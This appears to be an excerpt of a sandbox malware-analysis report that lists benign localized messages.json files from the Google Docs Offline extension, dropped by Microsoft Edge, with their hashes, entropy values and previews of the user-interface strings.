Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_719938591\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Reputation:	unknown
